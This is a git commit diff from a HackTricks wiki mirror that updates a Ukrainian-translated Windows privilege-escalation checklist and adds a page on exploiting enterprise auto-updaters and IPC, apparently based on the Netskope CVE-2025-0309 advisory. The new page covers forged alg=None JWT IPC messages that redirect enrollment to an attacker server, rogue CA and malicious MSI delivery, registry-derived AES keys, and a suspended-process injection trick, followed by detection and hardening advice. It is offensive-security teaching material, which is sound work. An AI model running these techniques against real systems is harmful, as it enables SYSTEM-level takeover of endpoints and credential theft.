mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/ab
This commit is contained in:
parent
0b4869c53c
commit
90200b0217
@ -236,6 +236,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
|
@ -1,114 +1,115 @@
|
||||
# Чеклист - Локальне підвищення привілеїв Windows
|
||||
# Контрольний список - Local Windows Privilege Escalation
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### **Найкращий інструмент для пошуку векторів локального підвищення привілеїв Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Інформація про систему](windows-local-privilege-escalation/index.html#system-info)
|
||||
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] Отримати [**інформацію про систему**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Шукати **експлойти ядра** [**за допомогою скриптів**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Використовувати **Google для пошуку** експлойтів ядра
|
||||
- [ ] Використовувати **searchsploit для пошуку** експлойтів ядра
|
||||
- [ ] Цікава інформація в [**змінних середовища**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Паролі в [**історії PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Цікава інформація в [**налаштуваннях Інтернету**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Диски**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**Експлойт WSUS**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] Отримати [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Шукати **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Використати **Google** для пошуку kernel **exploits**
|
||||
- [ ] Використати **searchsploit** для пошуку kernel **exploits**
|
||||
- [ ] Цікава інформація в [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] Паролі в [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] Цікава інформація в [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Перерахування журналів/AV](windows-local-privilege-escalation/index.html#enumeration)
|
||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] Перевірити [**налаштування аудиту**](windows-local-privilege-escalation/index.html#audit-settings) та [**WEF**](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Перевірити [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)та [**WEF** ](windows-local-privilege-escalation/index.html#wef)налаштування
|
||||
- [ ] Перевірити [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Перевірити, чи активний [**WDigest**](windows-local-privilege-escalation/index.html#wdigest)
|
||||
- [ ] [**Захист LSA**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] Перевірити, чи активний [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)
|
||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] [**Кешовані облікові дані**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Перевірити, чи є [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**Політика AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Перевірити наявність будь-якого [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**Привілеї користувача**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Перевірити [**привілеї поточного користувача**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Чи є ви [**членом будь-якої привілейованої групи**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Перевірити, чи є у вас [будь-які з цих токенів, активованих](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Сесії користувачів**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Перевірити [**домашні папки користувачів**](windows-local-privilege-escalation/index.html#home-folders) (доступ?)
|
||||
- [ ] Перевірити [**Політику паролів**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] Що [**всередині буфера обміну**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Перевірити [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] Чи є ви [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Перевірити, чи увімкнено будь-який із цих токенів: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Перевірити[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (доступ?)
|
||||
- [ ] Перевірити [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] Що знаходиться[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Мережа](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Перевірити **поточну** [**мережеву** **інформацію**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Перевірити **приховані локальні служби**, обмежені для зовнішнього доступу
|
||||
- [ ] Перевірити **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Перевірити **hidden local services**, обмежені зовні
|
||||
|
||||
### [Запущені процеси](windows-local-privilege-escalation/index.html#running-processes)
|
||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Бінарні файли процесів [**дозволи на файли та папки**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Видобуток паролів з пам'яті**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Небезпечні GUI додатки**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Вкрасти облікові дані з **цікавих процесів** за допомогою `ProcDump.exe` ? (firefox, chrome тощо ...)
|
||||
- [ ] Бінарні файли процесів [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] Вкрасти облікові дані з **interesting processes** за допомогою `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||
|
||||
### [Служби](windows-local-privilege-escalation/index.html#services)
|
||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] [Чи можете ви **модифікувати будь-яку службу**?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] [Чи можете ви **модифікувати** **бінарний файл**, який **виконується** будь-якою **службою**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] [Чи можете ви **модифікувати** **реєстр** будь-якої **служби**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] [Чи можете ви скористатися будь-яким **нецитованим шляхом** бінарного файлу **служби**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
- [ ] Чи можете ви **modify any service**?(windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] Чи можете ви **modify** the **binary** that is **executed** by any **service**?(windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] Чи можете ви **modify** the **registry** of any **service**?(windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] Чи можна скористатися будь-яким **unquoted service** binary **path**?(windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
|
||||
### [**Додатки**](windows-local-privilege-escalation/index.html#applications)
|
||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Записати** [**дозволи на встановлені додатки**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Додатки автозавантаження**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Вразливі** [**драйвери**](windows-local-privilege-escalation/index.html#drivers)
|
||||
- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
|
||||
- [ ] Чи можете ви **записувати в будь-яку папку всередині PATH**?
|
||||
- [ ] Чи є відомий бінарний файл служби, який **намагається завантажити будь-який неіснуючий DLL**?
|
||||
- [ ] Чи можете ви **записувати** в будь-якій **папці бінарних файлів**?
|
||||
- [ ] Чи можете ви **write in any folder inside PATH**?
|
||||
- [ ] Чи є відомий service binary, який **tries to load any non-existant DLL**?
|
||||
- [ ] Чи можете ви **write** в будь-яку **binaries folder**?
|
||||
|
||||
### [Мережа](windows-local-privilege-escalation/index.html#network)
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Перерахувати мережу (спільні ресурси, інтерфейси, маршрути, сусіди тощо ...)
|
||||
- [ ] Уважно перевірити мережеві служби, що слухають на localhost (127.0.0.1)
|
||||
- [ ] Перелічити мережу (shares, interfaces, routes, neighbours, ...)
|
||||
- [ ] Особливу увагу приділити мережевим сервісам, що слухають на localhost (127.0.0.1)
|
||||
|
||||
### [Облікові дані Windows](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] [**Облікові дані Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
|
||||
- [ ] [**Облікові дані Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault), які ви могли б використовувати?
|
||||
- [ ] Цікаві [**облікові дані DPAPI**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Паролі збережених [**Wifi мереж**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Цікава інформація в [**збережених RDP з'єднаннях**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Паролі в [**недавніх командах**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] Паролі [**менеджера облікових даних віддаленого робочого столу**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
|
||||
- [ ] Чи існує [**AppCmd.exe**](windows-local-privilege-escalation/index.html#appcmd-exe)? Облікові дані?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? Завантаження DLL з боку?
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials
|
||||
- [ ] Чи є [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials, які можна використати?
|
||||
- [ ] Цікаві [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Паролі збережених [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] Цікава інформація в [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Паролі в [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) паролі?
|
||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
|
||||
|
||||
### [Файли та реєстр (Облікові дані)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty:** [**Облікові дані**](windows-local-privilege-escalation/index.html#putty-creds) **та** [**SSH ключі хоста**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH ключі в реєстрі**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Паролі в [**непідконтрольних файлах**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] Будь-яка [**резервна копія SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
- [ ] [**Облікові дані хмари**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] Файл [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)?
|
||||
- [ ] [**Кешований GPP пароль**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Пароль у [**файлі конфігурації IIS**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Цікава інформація в [**веб** **журналах**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Чи хочете ви [**попросити облікові дані**](windows-local-privilege-escalation/index.html#ask-for-credentials) у користувача?
|
||||
- [ ] Цікаві [**файли в кошику**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Інші [**реєстри, що містять облікові дані**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Всередині [**даних браузера**](windows-local-privilege-escalation/index.html#browsers-history) (бази даних, історія, закладки тощо)?
|
||||
- [ ] [**Загальний пошук паролів**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) у файлах та реєстрі
|
||||
- [ ] [**Інструменти**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) для автоматичного пошуку паролів
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Паролі в [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] Будь-яка резервна копія [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) файл?
|
||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Пароль в [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Цікава інформація в [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Хочете [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) у користувача?
|
||||
- [ ] Цікаві [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Інші [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Всередині [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
|
||||
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) у файлах та реєстрі
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) для автоматичного пошуку паролів
|
||||
|
||||
### [Витік обробників](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
|
||||
- [ ] Чи маєте ви доступ до будь-якого обробника процесу, запущеного адміністратором?
|
||||
- [ ] Чи маєте доступ до будь-якого handler процесу, запущеного адміністратором?
|
||||
|
||||
### [Імітація клієнта Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Перевірте, чи можете ви це зловживати
|
||||
- [ ] Перевірте, чи можна його зловживати
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,123 @@
|
||||
# Зловживання Enterprise Auto-Updaters та Privileged IPC (e.g., Netskope stAgentSvc)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ця сторінка узагальнює клас Windows local privilege escalation chains, які зустрічаються в enterprise endpoint agents та updaters, що відкривають low‑friction IPC surface і привілейований update flow. Репрезентативний приклад — Netskope Client for Windows < R129 (CVE-2025-0309), де low‑privileged user може примусити enrollment на attacker‑controlled сервер, а потім доставити шкідливий MSI, який встановлює сервіс SYSTEM.
|
||||
|
||||
Ключові ідеї, які можна використовувати проти схожих продуктів:
|
||||
- Зловживати localhost IPC привілейованого сервісу, щоб примусити re‑enrollment або reconfiguration на attacker server.
|
||||
- Реалізувати vendor’s update endpoints, доставити підроблений Trusted Root CA і вказати updater на шкідливий „signed” пакет.
|
||||
- Обходитись зі слабыми перевірками signer (CN allow‑lists), optional digest flags та lax MSI properties.
|
||||
- Якщо IPC «encrypted», виводити key/IV з загальнодоступних machine identifiers, що зберігаються в registry.
|
||||
- Якщо сервіс обмежує викликачів за image path/process name, inject у allow‑listed процес або spawn one suspended і bootstrap your DLL через minimal thread‑context patch.
|
||||
|
||||
---
|
||||
## 1) Примусове enrollment на attacker server через localhost IPC
|
||||
|
||||
Багато агентів постачають user‑mode UI процес, який спілкується з сервісом SYSTEM по localhost TCP використовуючи JSON.
|
||||
|
||||
Спостерігалося в Netskope:
|
||||
- UI: stAgentUI (низької цілісності) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Потік експлоїта:
|
||||
1) Сформуйте JWT enrollment token, чиї claims контролюють backend host (наприклад, AddonUrl). Використайте alg=None щоб підпис не був потрібен.
|
||||
2) Надішліть IPC повідомлення, що викликає provisioning command з вашим JWT та tenant name:
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
|
||||
"tenantName": "TestOrg"
|
||||
}
|
||||
}
|
||||
```
|
||||
3) Сервіс починає звертатися до вашого зловмисного сервера для реєстрації/конфігурації, наприклад:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Примітки:
|
||||
- Якщо верифікація виклику базується на path/name‑based, ініціюйте запит з виконуваного файлу вендора, що знаходиться у списку дозволених (див. §4).
|
||||
|
||||
---
|
||||
## 2) Перехоплення каналу оновлень для виконання коду як SYSTEM
|
||||
|
||||
Коли клієнт зв’язується з вашим сервером, реалізуйте очікувані endpoints і направте його на зловмисний MSI. Типова послідовність:
|
||||
|
||||
1) /v2/config/org/clientconfig → Повернути JSON конфіг з дуже коротким інтервалом оновлення, наприклад:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Повертає PEM CA certificate. Сервіс встановлює його в Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Повертає metadata, що вказує на зловмисний MSI і підроблену версію.
|
||||
|
||||
Bypassing common checks seen in the wild:
|
||||
- Signer CN allow‑list: сервіс може перевіряти лише, чи Subject CN дорівнює “netSkope Inc” або “Netskope, Inc.”. Ваш Rogue CA може випустити leaf із цим CN і підписати MSI.
|
||||
- CERT_DIGEST property: додайте benign MSI property з ім’ям CERT_DIGEST. Під час інсталяції не виконується enforcement.
|
||||
- Optional digest enforcement: config flag (e.g., check_msi_digest=false) відключає додаткову криптографічну валідацію.
|
||||
|
||||
Результат: SYSTEM service встановлює ваш MSI з
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
та виконує arbitrary code як NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
From R127, Netskope загорнув IPC JSON у поле encryptData, яке виглядає як Base64. Реверсинг показав AES зі key/IV, похідними від значень у реєстрі, що читаються будь‑яким користувачем:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Атакуючі можуть відтворити шифрування і відправляти валідні зашифровані команди від імені стандартного користувача. Загальна порада: якщо агент раптом “encrypts” свій IPC, шукайте device IDs, product GUIDs, install IDs під HKLM як матеріал для ключів.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Деякі сервіси намагаються аутентифікувати пір шляхом резолвінгу PID TCP‑з’єднання і порівняння image path/name з allow‑listed vendor binaries у Program Files (наприклад, stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Два практичні обхідні шляхи:
|
||||
- DLL injection в allow‑listed процес (наприклад, nsdiag.exe) та проксування IPC зсередини нього.
|
||||
- Spawn allow‑listed binary у suspended стані і bootstrap ваш proxy DLL без CreateRemoteThread (див. §5), щоб задовольнити driver‑enforced tamper правила.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
Продукти часто постачають minifilter/OB callbacks driver (наприклад, Stadrv), щоб прибирати небезпечні права з handles до захищених процесів:
|
||||
- Process: видаляє PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: обмежує до THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
Надійний user‑mode loader, що поважає ці обмеження:
|
||||
1) CreateProcess vendor binary з CREATE_SUSPENDED.
|
||||
2) Отримайте handles, які вам ще дозволені: PROCESS_VM_WRITE | PROCESS_VM_OPERATION на процесі, і thread handle з THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (або просто THREAD_RESUME, якщо ви патчите код у відомому RIP).
|
||||
3) Перезапишіть ntdll!NtContinue (або інший ранній, гарантовано‑маплений thunk) маленьким stub, що викликає LoadLibraryW з вашим шляхом до DLL, потім повертає виконання назад.
|
||||
4) ResumeThread, щоб запустити ваш stub в процесі і завантажити вашу DLL.
|
||||
|
||||
Оскільки ви ніколи не використовували PROCESS_CREATE_THREAD або PROCESS_SUSPEND_RESUME на вже‑захищеному процесі (ви його створили), політика драйвера задовольняється.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) автоматизує rogue CA, malicious MSI signing і подає необхідні endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope — кастомний IPC client, що формує arbitrary (опційно AES‑encrypted) IPC messages і включає suspended‑process injection, щоб походити від allow‑listed binary.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Monitor additions до Local Machine Trusted Root. Sysmon + registry‑mod eventing (див. SpecterOps guidance) працюють добре.
|
||||
- Flag MSI executions, ініційовані service агента з шляхів на кшталт C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Переглядайте agent logs на предмет unexpected enrollment hosts/tenants, наприклад: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – шукайте addonUrl / tenant anomalies і provisioning msg 148.
|
||||
- Alert на localhost IPC clients, які не є expected signed binaries або походять з дивних дерев дочірніх процесів.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Bind enrollment/update hosts до strict allow‑list; reject untrusted domains у clientcode.
|
||||
- Authenticate IPC peers через OS primitives (ALPC security, named‑pipe SIDs) замість перевірок image path/name.
|
||||
- Тримайте secret material поза world‑readable HKLM; якщо IPC має бути encrypted, виводьте keys з protected secrets або домовляйтеся через authenticated channels.
|
||||
- Розглядайте updater як supply‑chain surface: вимагайте повний chain до trusted CA, яку ви контролюєте, перевіряйте package signatures проти pinned keys і fail closed, якщо валідація відключена в конфігурації.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
|
||||
- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
|
||||
- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user